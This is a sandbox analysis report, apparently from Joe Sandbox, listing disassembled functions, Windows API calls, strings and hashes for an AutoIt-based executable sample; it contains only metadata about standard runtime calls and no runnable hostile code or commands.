                              control_flow_graph 1904 40e500-40e57c call 40bc70 GetVersionExW call 402160 call 40e660 call 40e680 1913 40e582-40e583 1904->1913 1914 427674-427679 1904->1914 1917 40e585-40e596 1913->1917 1918 40e5ba-40e5cb call 40ef60 1913->1918 1915 427683-427686 1914->1915 1916 42767b-427681 1914->1916 1920 427693-427696 1915->1920 1921 427688-427691 1915->1921 1919 4276b4-4276be 1916->1919 1922 427625-427629 1917->1922 1923 40e59c-40e59f 1917->1923 1936 40e5ec-40e60c 1918->1936 1937 40e5cd-40e5e6 GetCurrentProcess call 40ef20 1918->1937 1938 4276c6-4276ca GetSystemInfo 1919->1938 1920->1919 1929 427698-4276a8 1920->1929 1921->1919 1925 427636-427640 1922->1925 1926 42762b-427631 1922->1926 1927 40e5a5-40e5ae 1923->1927 1928 427654-427657 1923->1928 1925->1918 1926->1918 1932 40e5b4 1927->1932 1933 427645-42764f 1927->1933 1928->1918 1931 42765d-42766f 1928->1931 1934 4276b0 1929->1934 1935 4276aa-4276ae 1929->1935 1931->1918 1932->1918 1933->1918 1934->1919 1935->1919 1939 40e612-40e623 call 40efd0 1936->1939 1940 4276d5-4276df GetSystemInfo 1936->1940 1937->1936 1947 40e5e8 1937->1947 1938->1940 1939->1938 1946 40e629-40e63f call 40ef90 GetNativeSystemInfo 1939->1946 1950 40e641-40e642 FreeLibrary 1946->1950 1951 40e644-40e651 1946->1951 1947->1936 1950->1951 1952 40e653-40e654 FreeLibrary 1951->1952 1953 40e656-40e65d 1951->1953 1952->1953
                              APIs
                              • GetVersionExW.KERNEL32(?), ref: 0040E52A
                                • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                              • GetCurrentProcess.KERNEL32(?), ref: 0040E5D4
                              • GetNativeSystemInfo.KERNELBASE(?), ref: 0040E632
                              • FreeLibrary.KERNEL32(?), ref: 0040E642
                              • FreeLibrary.KERNEL32(?), ref: 0040E654
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_memmove_wcslen
                              • String ID: 0SH
                              • API String ID: 3363477735-851180471
                              • Opcode ID: f8f98c37c4406a4215dc85d7f2641c0e713eb1a411c42a342b42510fc6581298
                              • Instruction ID: 6dc39e8e7f592ebea2fdbb3e4710260bd4e3e134fe0a85e77c096ec086c2d55c
                              • Opcode Fuzzy Hash: f8f98c37c4406a4215dc85d7f2641c0e713eb1a411c42a342b42510fc6581298
                              • Instruction Fuzzy Hash: E361C170908656EECB10CFA9D84429DFBB0BF19308F54496ED404A3B42D379E969CB9A
                              Function 0040EBD0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EBB5,0040D72E), ref: 0040EBDB
                              • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EBED
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: IsThemeActive$uxtheme.dll
                              • API String ID: 2574300362-3542929980
                              • Opcode ID: d24d5e89e243abfb53b7c80675e6652b9f125c078b3c3d01997506936a79e34d
                              • Instruction ID: d0aec1e7cdd3fc231052cfb2f432bc7d0e698e699ac1f50efe2d89ca8b78c0bc
                              • Opcode Fuzzy Hash: d24d5e89e243abfb53b7c80675e6652b9f125c078b3c3d01997506936a79e34d
                              • Instruction Fuzzy Hash: D6D0C7B49407039AD7305F71C91871B76E47B50751F104C3DF946A1294DB7CD040D768
                              Function 004091E0 Relevance: 44.6, APIs: 22, Strings: 3, Instructions: 837windowsleepCOMMON
                              Download Yara Rule
                              APIs
                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409266
                              • Sleep.KERNEL32(0000000A,?), ref: 004094D1
                              • TranslateMessage.USER32(?), ref: 00409556
                              • DispatchMessageW.USER32(?), ref: 00409561
                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409574
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Message$Peek$DispatchSleepTranslate
                              • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE
                              • API String ID: 1762048999-758534266
                              • Opcode ID: f501adada9997479f36eff97a8dbeac7b9e74cdaa6692d9ba2f3cae751283df7
                              • Instruction ID: 6221a9036d09df45d33125ba93b856da71e554157a22c4cdc10a0b2ba1356448
                              • Opcode Fuzzy Hash: f501adada9997479f36eff97a8dbeac7b9e74cdaa6692d9ba2f3cae751283df7
                              • Instruction Fuzzy Hash: EF62E370608341AFD724DF25C884BABF7A4BF85304F14492FF94597292D778AC89CB9A
                              Function 00401F20 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 214COMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • GetModuleFileNameW.KERNEL32(00000000,004A7F6C,00000104,?), ref: 00401F4C
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • __wcsicoll.LIBCMT ref: 00402007
                              • __wcsicoll.LIBCMT ref: 0040201D
                              • __wcsicoll.LIBCMT ref: 00402033
                                • Part of subcall function 004114AB: __wcsicmp_l.LIBCMT ref: 0041152B
                              • __wcsicoll.LIBCMT ref: 00402049
                              • _wcscpy.LIBCMT ref: 0040207C
                              • GetModuleFileNameW.KERNEL32(00000000,004A7F6C,00000104), ref: 00428B5B
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wcsicoll$FileModuleName$__wcsicmp_l_memmove_wcscpy_wcslen
                              • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$CMDLINE$CMDLINERAW
                              • API String ID: 3948761352-1609664196
                              • Opcode ID: 27c0ee8d5e07ffa73b3ecf85f0a0f7e742300051f6853106ad547b3ced8c3f3f
                              • Instruction ID: a67d1fff980de619c7b08a01c822048bbc87f212fdb5160913ca6de555091b2a
                              • Opcode Fuzzy Hash: 27c0ee8d5e07ffa73b3ecf85f0a0f7e742300051f6853106ad547b3ced8c3f3f
                              • Instruction Fuzzy Hash: 0E718571D0021A9ACB10EBA1DD456EE7774AF54308F40843FF905772D1EBBC6A49CB99
                              Function 0040E360 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 151COMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040E3FF
                              • __wsplitpath.LIBCMT ref: 0040E41C
                                • Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50
                              • _wcsncat.LIBCMT ref: 0040E433
                              • __wmakepath.LIBCMT ref: 0040E44F
                                • Part of subcall function 00413A9E: __wmakepath_s.LIBCMT ref: 00413AB4
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                              • _wcscpy.LIBCMT ref: 0040E487
                                • Part of subcall function 0040E4C0: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,0040E4A1), ref: 0040E4DD
                              • _wcscat.LIBCMT ref: 00427541
                              • _wcslen.LIBCMT ref: 00427551
                              • _wcslen.LIBCMT ref: 00427562
                              • _wcscat.LIBCMT ref: 0042757C
                              • _wcsncpy.LIBCMT ref: 004275BC
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcscat_wcslenstd::exception::exception$Exception@8FileModuleNameOpenThrow__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpy
                              • String ID: Include$\
                              • API String ID: 3173733714-3429789819
                              • Opcode ID: 319b33b76db705e9c7f26a1fcfbfbea2712403a0e0e393e117160b8853bc2a6c
                              • Instruction ID: e70d120923bcd55e0c09bdb97153e7c20ea4c8242d515b2096525f9594b4aeca
                              • Opcode Fuzzy Hash: 319b33b76db705e9c7f26a1fcfbfbea2712403a0e0e393e117160b8853bc2a6c
                              • Instruction Fuzzy Hash: 9851DAB1504301ABE314EF66DC8589BBBE4FB8D304F40493EF589972A1E7749944CB5E
                              Function 004528BD Relevance: 19.7, APIs: 13, Instructions: 173COMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • _fseek.LIBCMT ref: 0045292B
                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045273E
                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452780
                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045279E
                                • Part of subcall function 00452719: _wcscpy.LIBCMT ref: 004527D2
                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 004527E2
                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452800
                                • Part of subcall function 00452719: _wcscpy.LIBCMT ref: 00452831
                              • __fread_nolock.LIBCMT ref: 00452961
                              • __fread_nolock.LIBCMT ref: 00452971
                              • __fread_nolock.LIBCMT ref: 0045298A
                              • __fread_nolock.LIBCMT ref: 004529A5
                              • _fseek.LIBCMT ref: 004529BF
                              • _malloc.LIBCMT ref: 004529CA
                              • _malloc.LIBCMT ref: 004529D6
                              • __fread_nolock.LIBCMT ref: 004529E7
                              • _free.LIBCMT ref: 00452A17
                              • _free.LIBCMT ref: 00452A20
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __fread_nolock$_free_fseek_malloc_wcscpy
                              • String ID:
                              • API String ID: 1255752989-0
                              • Opcode ID: dcee285f3eb4ed07ece3e5bb349529478d219aecda09341451d4e57d6f047cda
                              • Instruction ID: f7ea06a446360153d9086f7ce944ba4ee1a7a4a6ab52c1fb03413739877f8e55
                              • Opcode Fuzzy Hash: dcee285f3eb4ed07ece3e5bb349529478d219aecda09341451d4e57d6f047cda
                              • Instruction Fuzzy Hash: B95111F1900218AFDB60DF65DC81B9A77B9EF88304F0085AEF50CD7241E675AA84CF59
                              Function 00452719 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 147COMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __fread_nolock$_fseek_wcscpy
                              • String ID: FILE
                              • API String ID: 3888824918-3121273764
                              • Opcode ID: b4a6abdb64f38c8defcee882be961308622b799a5cba7293a02d79de09a932e7
                              • Instruction ID: d9efd4ed024b2b159ad8c10c4a9bf0fd337e36d0f3dc2ca46923192c63d65648
                              • Opcode Fuzzy Hash: b4a6abdb64f38c8defcee882be961308622b799a5cba7293a02d79de09a932e7
                              • Instruction Fuzzy Hash: DC4196B2910204BBEB20EBD5DC81FEF7379AF88704F14455EFA0497281F6799684CBA5
                              Function 00410490 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 56registrywindowclipboardCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • GetSysColorBrush.USER32(0000000F), ref: 004104C3
                              • RegisterClassExW.USER32(00000030), ref: 004104ED
                              • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 004104FE
                              • 6FD733E0.COMCTL32(004A90E8), ref: 0041051B
                              • 6FD82980.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 0041052B
                              • LoadIconW.USER32(00400000,000000A9), ref: 00410542
                              • 6FD7C400.COMCTL32(00B91A40,000000FF,00000000), ref: 00410552
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Register$BrushC400ClassClipboardColorD733D82980FormatIconLoad
                              • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                              • API String ID: 2795313501-1005189915
                              • Opcode ID: d6ae890ac616c70b0adde597a8f502ff5fb08519606e77913bb64844803ac3e9
                              • Instruction ID: 324008788ca11066222c16167fc5b3db855b21205033cf9bff29629ff6c43806
                              • Opcode Fuzzy Hash: d6ae890ac616c70b0adde597a8f502ff5fb08519606e77913bb64844803ac3e9
                              • Instruction Fuzzy Hash: 6221F7B1900218AFDB40DFA4E988B9DBFB4FB09710F10862EFA15A6390D7B40544CF99
                              Function 00410390 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 76windowregistryCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • GetSysColorBrush.USER32(0000000F), ref: 0041039B
                              • LoadCursorW.USER32(00000000,00007F00), ref: 004103AA
                              • LoadIconW.USER32(?,00000063), ref: 004103C0
                              • LoadIconW.USER32(?,000000A4), ref: 004103D3
                              • LoadIconW.USER32(?,000000A2), ref: 004103E6
                              • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041040E
                              • RegisterClassExW.USER32(?), ref: 0041045D
                                • Part of subcall function 00410490: GetSysColorBrush.USER32(0000000F), ref: 004104C3
                                • Part of subcall function 00410490: RegisterClassExW.USER32(00000030), ref: 004104ED
                                • Part of subcall function 00410490: RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 004104FE
                                • Part of subcall function 00410490: 6FD733E0.COMCTL32(004A90E8), ref: 0041051B
                                • Part of subcall function 00410490: 6FD82980.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 0041052B
                                • Part of subcall function 00410490: LoadIconW.USER32(00400000,000000A9), ref: 00410542
                                • Part of subcall function 00410490: 6FD7C400.COMCTL32(00B91A40,000000FF,00000000), ref: 00410552
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Load$Icon$Register$BrushClassColor$C400ClipboardCursorD733D82980FormatImage
                              • String ID: #$0$AutoIt v3
                              • API String ID: 1263571202-4155596026
                              • Opcode ID: c82d51e411665b6a3a3e76d1a8d87b49acf25a0f72c8993ed2556b78267af7e8
                              • Instruction ID: fa3beea58d24b169a793a749875a715f65b9999dd8e8f54869ce90ead7ff89b0
                              • Opcode Fuzzy Hash: c82d51e411665b6a3a3e76d1a8d87b49acf25a0f72c8993ed2556b78267af7e8
                              • Instruction Fuzzy Hash: 31212AB1E55214AFD720DFA9ED45B9EBBB8BB4C700F00447AFA08A7290D7B559408B98
                              Function 0040A780 Relevance: 16.6, APIs: 8, Strings: 1, Instructions: 881COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _malloc
                              • String ID: Default
                              • API String ID: 1579825452-753088835
                              • Opcode ID: 4baf5ca2405be5455ac24bb95f1fa40f153dd1d14dcfbbf3cadbb4c6cd5c85f8
                              • Instruction ID: a673259d86369fb9501a746496732cc59a2062e12c9a0651055f0cdb6904a52b
                              • Opcode Fuzzy Hash: 4baf5ca2405be5455ac24bb95f1fa40f153dd1d14dcfbbf3cadbb4c6cd5c85f8
                              • Instruction Fuzzy Hash: 13729DB06043019FD714DF25D481A2BB7E5EF85314F14882EE986AB391D738EC56CB9B
                              Function 0040F5C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 125COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1954 40f5c0-40f5cf call 422240 1957 40f5d0-40f5e8 1954->1957 1957->1957 1958 40f5ea-40f613 call 413650 call 410e60 1957->1958 1963 40f614-40f633 call 414d04 1958->1963 1966 40f691 1963->1966 1967 40f635-40f63c 1963->1967 1968 40f696-40f69c 1966->1968 1969 40f660-40f674 call 4150d1 1967->1969 1970 40f63e 1967->1970 1974 40f679-40f67c 1969->1974 1971 40f640 1970->1971 1973 40f642-40f650 1971->1973 1975 40f652-40f655 1973->1975 1976 40f67e-40f68c 1973->1976 1974->1963 1977 40f65b-40f65e 1975->1977 1978 425d1e-425d3e call 4150d1 call 414d04 1975->1978 1979 40f68e-40f68f 1976->1979 1980 40f69f-40f6ad 1976->1980 1977->1969 1977->1971 1991 425d43-425d5f call 414d30 1978->1991 1979->1975 1982 40f6b4-40f6c2 1980->1982 1983 40f6af-40f6b2 1980->1983 1985 425d16 1982->1985 1986 40f6c8-40f6d6 1982->1986 1983->1975 1985->1978 1988 425d05-425d0b 1986->1988 1989 40f6dc-40f6df 1986->1989 1988->1973 1990 425d11 1988->1990 1989->1975 1990->1985 1991->1968
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __fread_nolock_fseek_memmove_strcat
                              • String ID: AU3!$EA06
                              • API String ID: 1268643489-2658333250
                              • Opcode ID: 344840b9fdfdbe4b30e8dbd48a4dc96b4183e4050995daab1dbb295d1862c352
                              • Instruction ID: 581a58983a44a30c9dde9fea67fd4d6d070b0eb534c71953d0d39c84ae2506d9
                              • Opcode Fuzzy Hash: 344840b9fdfdbe4b30e8dbd48a4dc96b4183e4050995daab1dbb295d1862c352
                              • Instruction Fuzzy Hash: A541EF3160414CABCB21DF64D891FFD3B749B15304F2808BFF581A7692EA79A58AC754
                              Function 00401100 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136timewindowregistryCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1994 401100-401111 1995 401113-401119 1994->1995 1996 401179-401180 1994->1996 1998 401144-40114a 1995->1998 1999 40111b-40111e 1995->1999 1996->1995 1997 401182 1996->1997 2000 40112c-401141 742846C0 1997->2000 2002 401184-40118e call 401250 1998->2002 2003 40114c-40114f 1998->2003 1999->1998 2001 401120-401126 1999->2001 2001->2000 2005 42b038-42b03f 2001->2005 2008 401193-40119a 2002->2008 2006 401151-401157 2003->2006 2007 40119d 2003->2007 2005->2000 2013 42b045-42b059 call 401000 call 40e0c0 2005->2013 2011 401219-40121f 2006->2011 2012 40115d 2006->2012 2009 4011a3-4011a9 2007->2009 2010 42afb4-42afc5 call 40f190 2007->2010 2009->2001 2015 4011af 2009->2015 2010->2008 2011->2001 2018 401225-42b06d call 468b0e 2011->2018 2016 401163-401166 2012->2016 2017 42b01d-42b024 2012->2017 2013->2000 2015->2001 2022 4011b6-4011d8 KillTimer call 401000 PostQuitMessage 2015->2022 2023 4011db-401202 SetTimer RegisterClipboardFormatW 2015->2023 2025 42afe9-42b018 call 40f190 call 401a50 2016->2025 2026 40116c-401172 2016->2026 2017->2000 2024 42b02a-42b033 call 4370f4 2017->2024 2018->2008 2023->2008 2032 401204-401216 CreatePopupMenu 2023->2032 2024->2000 2025->2000 2026->2001 2034 401174-42afde call 45fd57 2026->2034 2034->2000 2045 42afe4 2034->2045 2045->2008
                              APIs
                              • 742846C0.USER32(?,?,?,?,?,?,?,004010F8,?,?,?), ref: 00401136
                              • KillTimer.USER32(?,00000001,?), ref: 004011B9
                              • PostQuitMessage.USER32(00000000), ref: 004011CB
                              • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 004011E5
                              • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 004011F0
                              • CreatePopupMenu.USER32 ref: 00401204
                              Strings
